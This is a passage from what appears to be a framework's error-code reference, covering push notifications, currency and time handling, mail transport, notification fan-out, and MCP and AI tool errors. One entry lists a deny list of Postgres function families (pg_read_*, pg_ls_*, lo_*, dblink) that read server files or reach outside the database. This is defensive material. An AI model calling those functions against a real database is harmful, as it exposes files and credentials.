file it names, or set seo: { llms: false } in app.config.ts X_SEO_OG_IMAGE_CONFLICT a route meta og declares both image and capture meta.og carries both image and capture (a cast or a JS caller past the type), so the static export publishes the capture and a served page publishes no og:image at all og: { image: '/card.png' } or og: { capture: '/og/<page>' }, never both, in the route file's defineRoute({ meta }) PWA and build skew Code Means Typical cause Fix X_PWA_NO_OFFLINE_FALLBACK pwa.offline.fallback is not set, or no route serves it the required field was removed, or the path it names has no page x g route offline --surface site, then set pwa: { offline: { fallback: '/offline' } } X_PWA_ICON_MISSING no source icon to generate from the configured icon path does not exist add an SVG or >=1024px PNG and point pwa.icon at it X_PWA_MANIFEST_INVALID the generated web manifest failed validation a bad start_url or scope fix the pwa block; cause names the field X_SW_SCOPE_INVALID the service-worker scope cannot serve the routes it precaches a scope narrower than the app serve sw.js from the app root X_BUILD_ID_MISSING no immutable build ID a build produced outside x build build with x build; never use a timestamp or latest X_PWA_STRATEGY_EXHAUSTED a caching strategy had no cache, no network and no fallback staleWhileRevalidate with no StrategyOptions.fallback and the network failed pass fallback to the strategy, or set pwa.offline.fallback X_PWA_SYNC_FLUSH_FAILED the background-sync outbox flush was rejected registered, thrown by nothing since 21.0.0. Until then the worker POSTed /_x/outbox/flush, a route nothing mounted, and raised this on a non-2xx. The worker now posts OUTBOX_DRAIN_MESSAGE to open tabs, and realtime's outbox replays over HTTP delete any branch that matches this code, because it never runs. An app still generating the old worker: delete backgroundSync: { flushEndpoint } from its generateServiceWorker call X_PWA_SYNC_INCOMPLETE the background-sync outbox flush left mutations queued registered, thrown by nothing since 21.0.0, for the same reason as X_PWA_SYNC_FLUSH_FAILED: there is no flush endpoint to report remaining > 0. A queue left undrained stays in the page's IndexedDB and replays on the next load delete any branch that matches this code, because it never runs. pwa.backgroundSync is a boolean, and the retry schedule is the browser Background Sync API's own X_PWA_VAPID_KEY_MISSING no VAPID key pair for push pwa.push is true and ULTIMATE_VAPID_PUBLIC_KEY / ULTIMATE_VAPID_PRIVATE_KEY are unset (or hold the published development pair) in a deployed environment — or one half is set without the other, anywhere. Refused at boot, before any service starts x vapid create — seals a fresh pair into secrets.enc.json; or set both variables in the deployment's environment X_PWA_VAPID_KEY_INVALID the VAPID key pair is malformed or not a pair ULTIMATE_VAPID_PUBLIC_KEY is not a 65-byte uncompressed P-256 point, ULTIMATE_VAPID_PRIVATE_KEY is not a 32-byte scalar, or the private key does not sign for the public one (the boot signs a probe and verifies it) x vapid create — one command writes both halves, so they cannot disagree X_PWA_PUSH_UNCONFIGURED push is not configured in this process pushSubscribe(), pushUnsubscribe() or webPush() ran in a process whose boot installed no Web Push runtime: pwa.push is false, or pwa.enabled is pwa: { enabled: true, push: true, vapid: { subject: 'mailto:ops@example.com' } } in app.config.ts; a test calls installWebPush({ store, keys, subject }) first X_PWA_PUSH_FAILED the push service did not accept the message, and may later a 429, a 5xx or a connection that never opened. retry-after: thrown by pushToActor after every other device was tried, so the notifier job retries x jobs list --json — the job retries on its policy. A stated Retry-After rides in meta.retryAfterSeconds, which a job calling pushToActor directly waits out; through pushChannel the failure is X_NOTIFY_DELIVERY_FAILED and the notifier's own backoff applies X_PWA_PUSH_REJECTED the push service refused the message and will refuse it again a 400, 401, 403 or 413: a VAPID key the subscription was not made with, a subject the service refuses, or a body it will not take. Logged by pushToActor and counted as refused, never retried; on a 401 or 403 the subscription is deleted — it was made with a key this server no longer signs with — and subscribeToPush replaces a browser's stale one the next time it asks x vapid show — a 403 after a key change means every subscriber subscribes again X_PWA_PUSH_PAYLOAD_TOO_LARGE the push message does not fit one 4096-byte record the rendered notification (title, body, actions, url) serialises past the 3993 bytes RFC 8291 leaves for plaintext in one record url: '/posts/1' — send a path to the content and shorten the catalog strings, never the content itself X_PWA_PUSH_SUBSCRIPTION_INVALID the push subscription is not one a browser produced endpoint is not https: to a public host (localhost and an IP literal that is loopback, private, link-local or otherwise not public are refused: the endpoint is where a caller points this server), p256dh is not a 65-byte uncompressed P-256 point, or auth is not 16 bytes. Refused by pushSubscribe() before storing; a stored one is deleted by the sender import { subscribeToPush } from '@ultimat3/pwa/client' — it sends PushSubscription.toJSON() unchanged X_PWA_PUSH_HOST_UNLISTED the push endpoint is not on a push service this app sends to a subscription's endpoint host is neither one of the built-in push services (PUSH_SERVICE_HOSTS in @ultimat3/pwa: FCM, Mozilla, Apple and WNS, and their subdomains) nor listed in pwa.vapid.pushHosts; an endpoint comes from a request body, so only a listed push service is ever dialled vapid: { subject: 'mailto:ops@example.com', pushHosts: ['push.example.com'] } — pwa.vapid.pushHosts in app.config.ts, for a push service the built-in list does not name i18n, money, time Code Means Typical cause Fix X_LOCALE_UNSUPPORTED locale is not in the supported set a URL or header requesting an unconfigured locale x i18n add <locale> X_CATALOG_MISSING_KEYS a catalog is missing keys used in source a new t(), mail or push key with no translation, a key en defines that this locale lacks, or a key a mounted admin derives (admin.<table>.field.<column>; no source file spells one). The sync writes the file nested — a hand-added dotted key is X_CATALOG_INVALID — the default locale's admin keys with the label x g resource --admin writes, every other key as a ⟦…⟧ placeholder to replace x i18n sync <locale> X_CATALOG_UNREGISTERED a shipped catalog never reached the runtime registry defineCatalogs() in a module the boot scan never imports, or one that throws on import — every string renders ⟦key⟧ while x verify is green. When two copies of @ultimat3/i18n are installed the cause says so instead, and the fix is the install's (X_PACKAGE_DUPLICATED, reported beside it): the call is where it should be and registered into the copy the CLI does not read move the defineCatalogs() call into packages/i18n/src/index.ts and read strings through its useT(); x i18n check --json re-checks X_CATALOG_INVALID a catalog entry is malformed bad interpolation or a non-string value x i18n check --json X_CATALOG_SLOT_MISMATCH two locales define one key with different interpolation slots a translation added or dropped a slot: the two values interpolate different sets of names, so one locale renders a placeholder the other never had. The sets are compared by name, and their order does not matter x i18n check --json — the finding names the locale, the key and the slots that differ X_CATALOG_UNTRANSLATED a locale still carries the reference locale's value a value copied from the reference catalog and never translated. A value of 24 characters or less is legitimate — Postly, Free and Blog read the same in every language — and is not reported x i18n check --json — the finding names the locale and the key still carrying the reference value X_CURRENCY_UNKNOWN currency code not in the currency table a lowercase code — the lookup is exact — or a currency the shipped rows do not carry. 53 ISO-4217 rows ship, at packages/money/src/currency.ts:21, and As of 2026-08 they are not the whole set: registerCurrency() adds a row for this process, and currencyCodes() answers with those registrations included. Also raised where there is no currency at all to infer — sum([]) over an empty array assertCurrency('EUR') with a code currencyCodes() lists, uppercased; sum([], 'EUR') where nothing can be inferred — or declare the missing currency once at boot: registerCurrency({ code: 'XBT', exponent: 2, name: 'XBT' }) X_CURRENCY_MISMATCH two Money values in different currencies adding EUR to USD convert(value, '<target>', rate) first X_CURRENCY_INVALID a registerCurrency declaration that cannot become a currency a code that is not three uppercase A–Z letters, an exponent that is not a whole number in 0…15 (MAX_MONEY_SCALE), or an empty name. Nothing is defaulted: a guessed exponent of 2 reads 1.23456789 as 1.23 and shifts every stored minor by a power of ten registerCurrency({ code: 'XBT', exponent: 2, name: 'XBT' }) — three A–Z letters, a whole exponent from 0 to 15, and a non-empty name X_CURRENCY_REDEFINED one currency code registered twice with different meanings a second registerCurrency for a code already in force — a shipped ISO row, or an earlier registration — carrying a different exponent or name. An identical second call is a no-op, so a module imported twice is not a crash; cause prints both declarations keep one registerCurrency({ code: 'XBT', exponent: 2, name: 'XBT' }) call and delete the other. Changing a live exponent means migrating every stored amount in that currency first — each one shifts by a power of ten X_MONEY_NOT_INTEGER a Money.minor that is not an integer a float leaked in, or a rescale() that would drop minor units fromDecimal('12.99', 'USD'), or pass an explicit rounding mode X_MONEY_SCALE_INVALID a Money.scale that is not usable — either the exponent itself, or the one two operands would have to meet at a fractional, negative or out-of-range scale (15 is the last exponent whose power of ten is still a safe integer); or adding a coarse value to a fine one, where widening to their common scale overflows a safe integer use a scale in range — fromMinor(minor, currency, 6) for micros, or omit it for the currency's own minor unit. On an overflow the cause names the finest scale that fits: rescale(value, <scale>, 'half-up') X_ALLOCATION_INVALID split ratios or part count are unusable zero parts, or all-zero ratios pass a positive part count, or finite non-negative ratios X_RATE_MISSING no FX rate for the pair no RateProvider registered register one — there is no default, because a wrong rate is worse than a missing one X_TIMEZONE_INVALID not an IANA zone CET, +02:00, a single-label legacy name like Japan or GB, or a typo use Area/Location, or UTC — a legacy name swaps mechanically (Japan → Asia/Tokyo, GB → Europe/London); an abbreviation does not, because it names no jurisdiction and carries no DST rule X_INSTANT_INVALID not a parseable instant a date string with no offset pass ISO-8601 with Z or an offset X_DURATION_INVALID not a parseable duration '3 days' use '3d', '2h30m', '250ms', or ISO-8601 PT2H30M X_CRON_INVALID not a parseable cron expression wrong field count 5 fields (m h dom mon dow) or 6 with seconds X_SCHEDULE_INVALID a wall-clock field is out of range hour: 24 or minute: -1 in a schedule spec — cause names the field and its range pass an integer inside the range cause prints; wall-clock fields are never wrapped or clamped, because a silently shifted schedule is worse than a failed one X_DST_AMBIGUOUS the local time occurs twice a fall-back overlap pass { overlap: 'first' } or { overlap: 'second' } X_DST_NONEXISTENT the local time does not exist a spring-forward gap pass { gap: 'next' } or { gap: 'previous' } X_LOCALE_INVALID not a well-formed BCP 47 tag en_US, '', or a raw Accept-Language value reaching any @ultimat3/time entry point that takes a locale — describeCron, the date/time formatters, formatRelative, formatDuration and zoneAbbrev. Every one of them raised a bare RangeError out of Intl until 2026-08-23; a RangeError carries no code, no fix: and no --json, so a header value a user controls took a request down with a message nothing could act on. assertLocale is the single gate now — grep -rn 'assertLocale(' packages/time/src is the list pass en, en-GB, de-DE — screen header input with Intl.DateTimeFormat.supportedLocalesOf([tag]) X_CRON_NOT_DESCRIBABLE a valid cron expression describeCron has no vocabulary for a 6-field expression whose seconds field says something a 5-field one cannot (*/10 * * * * *, 30 0 3 * * *) — CronPhrases has no seconds phrase, so the summary would be wrong render the real runs with nextCronOccurrences(expr, zone, from, 3), or describe the 5-field schedule the fix: line prints — never a summary that drops the seconds X_MONEY_INPUT_INVALID a typed amount could not be read in this locale the text holds a character the locale does not use in a number, separators in an order the locale never writes, or more fraction digits than the currency has parseAmount(text, { currency, locale }) — re-prompt the person; the cause names the character that stopped the read X_I18N_FAMILY_INCOMPLETE a select or ordinal family has no _other a catalog defines select or ordinal keys and no _select_other or _ordinal_other, so a value the family does not name renders the loud miss x i18n check --json — then add _select_other (or _ordinal_other) to the catalog it names X_MONEY_NOT_DECIMAL a fromDecimal input that is not a plain decimal string a number, null or undefined where a string was expected (a JSON body carrying 12.99), or a string with grouping separators, a currency symbol or exponent notation fromDecimal('12.99', 'USD') — send the amount as a decimal string; for text a person typed, parseAmount(text, { currency, locale }) Mail Code Means Typical cause Fix X_MAIL_LOCALE_MISSING send() was called without a locale a JS caller, or a cast that dropped the required field send(mail, data, { to, locale: ctx.locale }) X_MAIL_TEMPLATE_UNKNOWN no mail is registered under that id the module holding defineMail({ id }) was never imported (also raised for an unregistered layout) export the defineMail and import it at boot X_MAIL_DUPLICATE two mails claim the same id a copy-pasted defineMail rename one of the two declarations X_MAIL_ADDRESS_INVALID an envelope address could restructure the SMTP command line a to/cc/bcc/replyTo value carrying a control character, a mailbox with </>, or a non-ASCII mailbox (meta.reason: injection or non-ascii) — the envelope is built by interpolation and no SMTPUTF8 is negotiated. Refused by send() on every driver and by the queue schema alike, so a queued send can never fail at the worker for an address the inline path took pass a mailbox, bare or display-form: send(mail, data, { to: 'Ada <ada@example.test>', locale }). Never strip the break — an address is routing, and a rewritten one delivers somewhere else X_MAIL_TEXT_MISSING the rendered mail has no plain-text part a template of images and buttons only add a text-bearing block: blocks.paragraph('mail.<id>.body') X_MAIL_DRIVER_UNAVAILABLE no mail driver is configured no mail: in apps/<app>/runtime.ts and no transport variable set export const runtime = { mail: memoryMailDriver() } in apps/<app>/runtime.ts for dev, or set SMTP_URL (or RESEND_API_KEY) in .env so the boot selects a live driver X_MAIL_CREDENTIAL_MISSING this deployment configured no mail transport neither SMTP_URL nor RESEND_API_KEY is set outside development/test, so selectMailDriver installed a driver that refuses. The memory driver used to be installed there instead and reported accepted for mail that never left the process — password resets, receipts and invitations all "sent", none delivered, no error anywhere set SMTP_URL="smtps://user:pass@host:465" (or RESEND_API_KEY=re_…) and MAIL_FROM="App <no-reply@yourdomain.test>" in the deployment environment, then restart. X_MAIL_DRIVER_UNAVAILABLE is the other half: that one is no driver installed — no mail: in apps/<app>/runtime.ts and no transport variable X_MAIL_HEADER_INVALID a header value carries a line break interpolated data with a CR/LF reached Subject — header injection. meta.reason: 'non-ascii' is the other case: a non-ASCII mailbox in From/To/Cc/Reply-To reached the SMTP message builder reject the value at its own boundary — t.string().pattern(/^[^\r\n]*$/) on the field that feeds the header — then re-send. Never strip the break: a silently rewritten header hides the injection attempt X_MAIL_SEND_FAILED the mail transport refused the message a rejected recipient, bad credentials, a throttle, a dead socket, or a peer that never completes a reply the queue now decides this without you: sendFailed carries the verdict as error.retry, so sendMailJob dead-letters a permanent refusal on the attempt that threw it instead of presenting the same rejected recipient four more times. meta.retryable is the same fact, unchanged, and is still what an operator reads. true → it will be requeued; false → fix what meta.stage names, then x doctor --json. meta.stage is the SendStage union in packages/mail/src/errors.ts: auth → SMTP_URL credentials, tls → openssl s_client -connect <host>:465 for the implicit-TLS certificate, starttls → openssl s_client -starttls smtp -connect <host>:587, recipient → the address, reply → point SMTP_URL at the SMTP port itself, since a proxy or an HTTP port answers like this X_MAIL_TRANSFORM_FAILED the app mail transform threw or returned no message the transform hook failed, so the mail was not sent (never sent untransformed) fix the function passed to setMailTransform() — it must return { subject, html, text } strings for every mail it is handed X_MAIL_EVENT_UNVERIFIED a delivery notification is not signed by its provider no signature, a bad signature, a stale timestamp, a topic not in topicArns, a certificate URL off sns..amazonaws.com, or a SignatureVersion other than 1 or 2 (meta.reason says which) sesEventReceiver({ topicArns: ['<your topic arn>'] }) — or resendEventReceiver({ secret }) with the endpoint's whsec_ secret X_MAIL_EVENT_INVALID a delivery notification is not a shape this receiver reads too large, not UTF-8, not JSON, a missing envelope or notification field, or a bad timestamp (meta.problem says which) aws sns list-subscriptions-by-topic --topic-arn '<your topic arn>' — only the provider should post to this route X_MAIL_EVENT_PROVIDER_UNREACHABLE an SNS endpoint the receiver needed did not answer the signing-certificate download or the subscription-confirm GET failed curl -sS -m 5 -o /dev/null https://sns.us-east-1.amazonaws.com/ — from the app host, with its region X_MAIL_KEY_MISSING a mail rendered a key or slot with no value in its locale send() resolved a catalog key the locale does not define, a catalog value still holding a placeholder, or a {slot} with no value, so nothing left x i18n sync <locale> — then translate the keys in meta.keys X_MAIL_PREVIEW_INVALID a mail's declared preview fails its own input schema defineMail was given a preview the mail's input schema refuses, so the one render a person checks a template by is of data the mail can never be sent x mail preview <id> --json — names the field; then correct preview in the defineMail call to match input X_MAIL_PREVIEW_MISSING this mail declares no preview x mail preview, or a render of every declared preview, was asked for a mail whose defineMail declares no preview data x mail preview <id> --json — then add preview: { ... } to that mail's defineMail call, shaped like its input Notifications notifier() is a job factory — one queue row and one step trace for the whole fan-out, with every recipient a durable step. Five of the seven codes are the app's own DECLARATION, one is somebody else's server and one is another attempt of the same run, which is what decides the statuses: the five are 500, X_NOTIFY_DELIVERY_FAILED is 502 and X_NOTIFY_DELIVERY_HELD is 409. That row is chosen for the day a notifier is invoked in a request rather than a job, and the asymmetry decides it — a wrong 502 costs nothing, and a wrong 500 pages the on-call for an email provider's outage, because stages.ts reports every status >= 500 to the error monitor. Three of them are raised at notifier(...), while the app's modules load, so they fail the boot rather than a run: X_NOTIFY_CHANNELS_EMPTY, X_NOTIFY_CHANNEL_DUPLICATE, X_NOTIFY_DIGEST_UNSUPPORTED. The other four are raised inside the run. Code Means Typical cause Fix X_NOTIFY_CHANNELS_EMPTY the notifier declares no channels an empty deliver: []. Refused where it is written: a notifier with no channel resolves its recipients on every run and delivers to nobody add at least one entry to deliver: [] on notifier("<name>") — inAppChannel() is the one with no external driver X_NOTIFY_CHANNEL_DUPLICATE two deliveries share one channel name two deliver entries naming the same channel. Refused because the delivery ledger's unique index is (notifier, key, channel, coalesce(recipient, '')): the second delivery would claim a row the first already owns and be dropped as a duplicate, so one of the two would silently never send give the second channel its own name on notifier("<name>") — deliveryChannel('<name>-digest', …) — or merge the two deliver entries X_NOTIFY_DIGEST_UNSUPPORTED a digest window is declared on a bulk channel digest: beside a bulkChannel(). Refused where it is written: a bulk send has one payload for the whole audience and a window coalesces PER RECIPIENT, so the two have no shared meaning — and inventing one would be this package deciding whose events get grouped drop digest from that entry and give it a wait instead, or deliver it through deliveryChannel('<name>', …) one recipient at a time X_NOTIFY_FANOUT_TOO_WIDE the audience is larger than one run may fan out to the resolved audience passed maxRecipients (default 500). One step per recipient is what makes a provider blip re-send one address rather than all of them, and a step is a durable row — so there is a width past which this is the wrong shape entirely. Refused with both numbers rather than degraded silently deliver through a bulkChannel() on notifier("<name>"), which sends one payload for every recipient, or page the audience with backfill() from @ultimat3/jobs X_NOTIFY_STORE_MISSING a channel needs a store nothing installed an in-app channel with no inbox store, a digest window with no digest store, or — in staging and production only — a delivery claim with no ledger. The ledger's memory default is one process's heap, so outside development and test it refuses rather than let a replay on another replica, or after a restart, send twice; the cli boot installs a Postgres ledger (x_notify_deliveries) when the app has a database, so this fires only for an app with none and no notifyStores.ledger. An inbox and a digest window have no default at all: there is nowhere to put the row, so they refuse rather than skip. Never an optional chain at the call site, because a silently skipped inbox write is a notification the user never sees and nobody logs. cause and meta.store name which store is absent export const runtime = { notifyStores: { inbox: memoryInboxStore(), digest: memoryDigestStore() } } in apps/<app>/runtime.ts — one object, naming every store this app wants: it is whole-object replacement and never a merge. postgresInboxStore({ executor }) shares the inbox across replicas X_NOTIFY_DELIVERY_FAILED a channel did not accept the delivery a channel's deliver threw. Wrapped rather than rethrown so the dead-letter row carries a stable code and names the channel — a raw provider error names only itself. The ledger row is settled failed first and stays re-claimable, so the job's own retry policy decides whether it goes out again. Rendered through renderThrowable, never ${cause}: a provider rejection is routinely an object whose toString throws x jobs list --json for the run, then x jobs show <id> --json — the failing step is deliver:<channel>, and meta.channel names it X_NOTIFY_DELIVERY_HELD another attempt holds this delivery a live attempt holds the delivery claim, so this one neither sent nor treated the notification as gone out; the job retries once the claim is past its reclaim window x jobs list --json — the run retries on its own once the claim can be reclaimed; to shorten that, set reclaimAfterMs on postgresDeliveryLedger() X_NOTIFY_PUSH_DEVICE_GONE the push provider says a device token is dead APNs answered 410 or FCM answered UNREGISTERED for a device token: the app was uninstalled, or the device rotated its token x jobs list --json — nothing to repair: the dead device row is already deleted, and the app stores its new token with its next pushRegister() call X_NOTIFY_PUSH_PROVIDER_REFUSED APNs or FCM refused a push for good the provider refused the request and will refuse it again: a bad or revoked credential, a wrong topic or project, or a payload over its limit x jobs list --json — read meta.provider, meta.status and meta.reason on the failed step, then fix the credential (x secrets set ULTIMATE_APNS_PRIVATE_KEY) or the message X_NOTIFY_PUSH_MESSAGE_INVALID a data-only push carries more than an id the data of a data-only push names a reserved key, holds more than 8 keys, or a value longer than 256 characters pushChannel({ pusher, data: ({ event }) => ({ id: event.params.id }) }) — in the notifier: one id per push, the app fetches the rest over its API X_NOTIFY_SMS_TRANSPORT_MISSING an SMS was sent with no SmsTransport installed smsChannel() delivered outside development and test, and apps//runtime.ts names no smsTransport — the memory transport would swallow the message, so the send is refused instead add smsTransport: yourTransport() to apps/<app>/runtime.ts — behavesLike(smsTransportConformance, () => yourTransport()) proves it X_NOTIFY_SMS_NUMBER_INVALID an SMS number is not E.164 the number smsChannel() resolved for a recipient is not +, a country code and up to 15 digits in all (E.164) — a local spelling a provider guesses the country of is a message sent to a stranger store numbers as E.164 (+4915112345678) and return that from smsChannel({ numberOf }) MCP and AI Code Means Typical cause Fix X_UI_SHOT_ROUTE_UNKNOWN a ui.* tool (ui.shot, ui.inspect, ui.interact) was asked for a path no route in this app answers a typo, a route that has not been declared yet, or a full URL where a path was expected x routes --json, then call the ui.* tool with one of its path values X_UI_SHOT_ROUTE_UNBUDGETED a ui.* tool (ui.shot, ui.inspect, ui.interact) refused a route that declares no budget.js a picture of a route nobody has finished declaring is a picture of a draft — the gate refuses the same route as X_BUDGET_UNMEASURED, and an agent judging the picture would judge the wrong thing declare budget: { js: '<n>kb' } in the route file, then x build --target static --json && x verify --only budgets --json X_UI_INTERACT_STEPS_INVALID a ui.interact step list is over its bounds or malformed more than 12 steps, a wait over 5000 ms or negative, a type.text over 500 chars, an empty selector or text, a step with zero or two keys, or a key that is no verb. Refused WHOLE and never trimmed: a step dropped changes what the picture is of, and an agent judging that picture would judge the wrong scene. The MCP schema (anyOf over five one-key shapes) catches the shapes first; the count and the lengths are the handler's, because the validator enforces no maxItems x help shot --json, then resend ui.interact with at most 12 one-key steps, type.text under 500 chars and wait under 5000 ms X_UI_INTERACT_SECRET_FIELD ui.interact refused to type into a password field a type step whose selector's first match is <input type="password">, checked BEFORE any keystroke: a filled password lands in the PNG in pixels, in the verdict's console and in the agent's transcript, and the scraping package already refuses a screenshot of a page a secret was typed into x shot --all-islands --json, or x shot --island <name> --json: a declared state renders the filled form without the secret ever being typed X_UI_INTERACT_LEFT_APP a ui.interact step navigated off the dev server origin after a step, page.url()'s origin is not the dev server's — an external link clicked, an OAuth redirect followed. A same-origin navigation is allowed and reported navigated: true with the new URL; another origin is a page the picture cannot be of, and the step list stops there. meta.step and meta.url name the step and where it went x routes --json, then resend ui.interact with steps that stay on one of its paths X_UI_INTERACT_STEP_FAILED a ui.interact step raised a scraping error the driver refused the step — X_SHOT_ELEMENT_MISSING for a selector that never matched, X_SHOT_ELEMENT_UNREADY for one that never became actionable, X_SHOT_KEY_INVALID for a chord it cannot spell. Wrapped rather than passed through so the cause names WHICH step (step 3 (click "#nope"): X_SHOT_ELEMENT_MISSING — …) and meta.step / meta.code carry it structurally; the driver's own error is sourceError x routes --json, then run ui.inspect on the route first and copy a selector it reports with count >= 1 X_UI_DIFF_PATH_OUTSIDE ui.diff was handed a path that does not resolve inside .x/shot/ an absolute path, a .. segment, a sibling directory sharing the prefix's characters, or a symlink under .x/shot/ pointing out of it. The gate is what lets a file-reading tool sit under dev:read: it reads the captures the ui.* tools wrote and nothing else, so a read token cannot reach .env through a tool that says "diff" x shot / --json, then pass the image path it answers, relative to the app root X_UI_DIFF_FILE_MISSING ui.diff was handed a capture that is not on disk a path from an earlier session, a .x/shot/ that was cleaned, or a typo in the slug x shot / --json, then diff the image path it answers — ui.shot's own answer lists the file it wrote X_UI_DIFF_SIZE_MISMATCH ui.diff was handed two captures of different sizes two viewports, or fullPage on one and not the other — a page that grew is a taller picture. cause and meta name both sizes; nothing is compared photograph both at one viewport with one fullPage setting — ui.shot with the same viewport/width+height — then diff those two X_MCP_TOOL_UNKNOWN no such tool for this caller a stale tool name, or one this caller may not see call tools/list to read the catalog X_MCP_ARGS_INVALID tool arguments failed the input schema not raised on the wire since 22.10: invalid tool arguments answer an isError result carrying X_INPUT_INVALID; McpArgsInvalidError stays exported re-read inputSchema from tools/list and resend X_MCP_SCOPE_DENIED the connection's token does not carry the tool's scope a read token calling a write tool. The fix used to name x token grant <scope>, which is planned and exits X_NOT_IMPLEMENTED reconnect with a token whose scopes include the one cause names — the app's resolveToken(token) is what returns them — or drop that scope from defineAppMcp({ scopes }). Scopes belong to the token and are fixed for the life of a connection, so a grant takes effect on the next one X_MCP_QUERY_REJECTED db.query was not given one read-only statement empty input, a batch, a non-read leading keyword, a mutating keyword anywhere at statement level (including a data-modifying CTE), a locking clause (FOR UPDATE/FOR SHARE), EXPLAIN ANALYZE, or a call from a banned function family matched by prefix (pg_read_*, pg_ls_*, lo_*, dblink, pg_advisory_*, pg_sleep*, set_config, …) send exactly one read-only SELECT/WITH/EXPLAIN/SHOW/TABLE/VALUES statement. db.query has no write path at all: change data by calling an action exposed with mcp: { expose: true }, and change schema with db.migrate after x db branch create <name> X_MCP_NOT_BRANCH_DB db.migrate was aimed at a database that is not a branch a production-tagged target, or any shared/long-lived database x db branch create <name> # then retry db.migrate — the guidance rides behind # so the whole line pastes into a shell. A production target gets the other half of the refusal instead: run migrations in production through the migrate role: ROLE=migrate in your deploy hook X_MCP_PROTOCOL the MCP handshake or auth is wrong missing bearer token, or a user-shaped actor send Authorization: Bearer <token>; resolve MCP callers as agents X_MCP_TOOL_UNDECLARED defineAppMcp lists a primitive that declares no MCP exposure an action or query named in actions:/queries: with no mcp block, or mcp: { expose: false } add mcp: { expose: true, description } beside the primitive's policy — or drop it from the list and let include: 'exposed' project what opted in X_MCP_TOOL_UNSAFE an MCP tool declares no policy a hand-written tools: entry written without policy add policy: '<resource>:<verb>', reusing the permission its action uses X_MCP_TOOL_DUPLICATE two primitives project to one MCP tool name a tools: record key colliding with an exposed action, or an action and a query sharing a name rename one — the tool name is the primitive's export name, or the tools record key X_MCP_RESOURCE_DUPLICATE two resources claim one MCP resource URI an app resource registered at a ultimate:// URI the framework already publishes, or one registerAll batch listing a URI twice. Resources used to Map.set-overwrite while tools threw, so resources/read answered from whichever provider was wired last give one its own URI — register({ uri: 'ultimate://manifest-<what-it-is>', … }) — or drop the duplicate registration X_MCP_SCOPE_UNKNOWN defineAppMcp scopes a tool this server does not project a scopes entry in defineAppMcp names a tool by a name absent from the projected catalog — a typo, or the primitive was renamed, or dropped from actions:/queries:/tools: spell it as one of the projected tool names cause lists, or drop it from that scopes entry X_MCP_SCOPE_CONFLICT two scopes claim one MCP tool one tool name listed under two different scopes entries, or under one entry while the tool already carries a different scope of its own keep the tool under the single scope a token must hold for it, and remove the other entry X_MCP_APP_UNMOUNTED the app's MCP endpoint is exposed in config and nothing can be mounted ai.mcp.expose is true — the default — and either no apps/<app>/mcp.ts exports mcp, or the one that does was built without resolveToken, so defineAppMcp built no route. Logged once per boot by the web role (x dev and runRole alike), never thrown: an app with no agent surface yet is a working app write apps/web/mcp.ts exporting mcp = defineAppMcp({ include: 'exposed', resolveToken }), add resolveToken to the one that exists, or set ai: { mcp: { expose: false } } X_MCP_RATE_LIMITED the caller has spent its allowance for this request's class more than rateLimits.read or rateLimits.write requests in one minute from one actor, metered by mcpHttpRoute after the body is parsed (the class comes out of the body) and before the tool runs. 429 with Retry-After; the bucket key names the actor and never reaches the caller. It has its own code rather than reusing X_RATE_LIMITED because the KNOB differs — the HTTP pipeline's buckets do not govern this route, so raising them would run and change nothing wait out the Retry-After, or raise it where the route is built: mcpHttpRoute({ rateLimits: { read: <n>, write: <n> } }), or defineAppMcp({ rateLimits }). Behind N replicas pass rateLimitStore: postgresRateLimitStore({ executor }) too, or each enforces the full allowance on its own X_MCP_BODY_TOO_LARGE one MCP message is larger than the transport holds a POST /mcp body over bodyLimitBytes (default 1 MiB), answered 413 on a JSON-RPC -32600 with id: null and data: { code, cause, fix, limit } — or one stdio line over lineLimitBytes, answered the same way on that wire. Its own code rather than X_BODY_INVALID because the knob differs: this route never passes through the HTTP pipeline's bodyLimitBytes. It was a bare -32600 reading request body is at least N bytes, limit is M until 2026-09-07 — two numbers and no next step, while the 401, 403 and 429 beside it all carried { code, cause, fix } send less in one message — page a large read, split a long prompt across calls — or raise the cap where the route is built: mcpHttpRoute({ bodyLimitBytes }) / defineAppMcp({ bodyLimitBytes }), and over stdio serveStdio({ lineLimitBytes }) X_AI_BUDGET_EXCEEDED a model call would exceed its budget prompt too large, or cost cap reached raise ai.budget for the scope, or shorten the prompt X_AI_GATEWAY_MISSING an llm() action ran with no gateway installed no aiGateway in apps/<app>/runtime.ts apps/<app>/runtime.ts: export const runtime = { aiGateway: providerGateway({ providers: [provider] }) } — in a test, installAiGateway(gateway) from @ultimat3/ai/adapter — any provider: the Anthropic format, the OpenAI format (any compatible server), or your own X_AI_PROMPT_VERSION prompt version or slots are wrong an edited prompt with no version bump, or a missing variable bump the version in definePrompt, then x manifest X_AI_PROVIDER_UNAVAILABLE the model provider is unreachable a non-2xx, an in-band error event, or a stream cut before message_stop. Never a local refusal, As of 2026-08-23: X_AI_KEY_MISSING and X_AI_REQUEST_INVALID are raised before the socket opens and reach the caller verbatim, keeping their own fix:, instead of being collected into this code by the fallback loop retry a 429/5xx (the gateway already does); fix the request a 4xx names X_AI_MODEL_UNKNOWN a model id the app never registered (the framework registers none since 25.0.0) a model: no registerModel() call describes. This is what replaced the closed ModelId union: the union made a company's own model id inexpressible, so the only way past tsc was to claim a Claude id — and then costOf priced an internal model at Anthropic list rates and the budget ledger reserved against a number belonging to a model nobody ran. A wrong id is still refused; it is refused at the first read of the spec instead of by making a right one impossible. cause lists what is registered registerModel({ id, contextWindow, maxOutput, inputPerMillion, outputPerMillion, cacheMinimumTokens, reasoning }) at boot, before configureAi X_AI_PROMPT_SECRET a Secret was about to be rendered into a prompt a Secret passed through vars(). Nothing would have leaked — Secret redacts by value, so the template would have received [redacted] and asked the model to reason about it, which is a prompt that reads fine and means something else. The same class of failure as an unfilled {{slot}}, refused for the same reason: loudly, before a token is spent drop the key from vars() and from the template, or revealSecret(value) in vars() if the model genuinely has to read it X_LLM_STREAM_INVALID a streamed answer failed its output schema, and a stream cannot repair .stream() on an llm() whose output the tokens did not satisfy. Distinct from X_LLM_OUTPUT_INVALID because there is no repair turn to have failed: the consumer has already read the tokens, and replaying a second answer over the top is two answers to one question call the action instead of .stream() when the answer must satisfy a structured schema — a stream has already delivered its tokens and cannot take a repair turn X_AGENT_MAX_TURNS an agent hit its turn ceiling without answering an agent() loop with no exit condition — a tool that answers the same thing every turn, or a prompt that never tells the model to finish. Never a partial answer: the loop's whole contract is that it either satisfies output or says it did not, and a half-finished transcript returned as a result is a model's working notes presented as a decision. Raising the ceiling on a non-converging loop spends more money on the same non-answer, which is why the fix names the prompt before the number tell the template when to stop and answer through the respond tool, then bump its version — raise maxTurns only once the run demonstrably converges X_AGENT_TOOL_UNEXPOSED an agent lists a tool that is neither 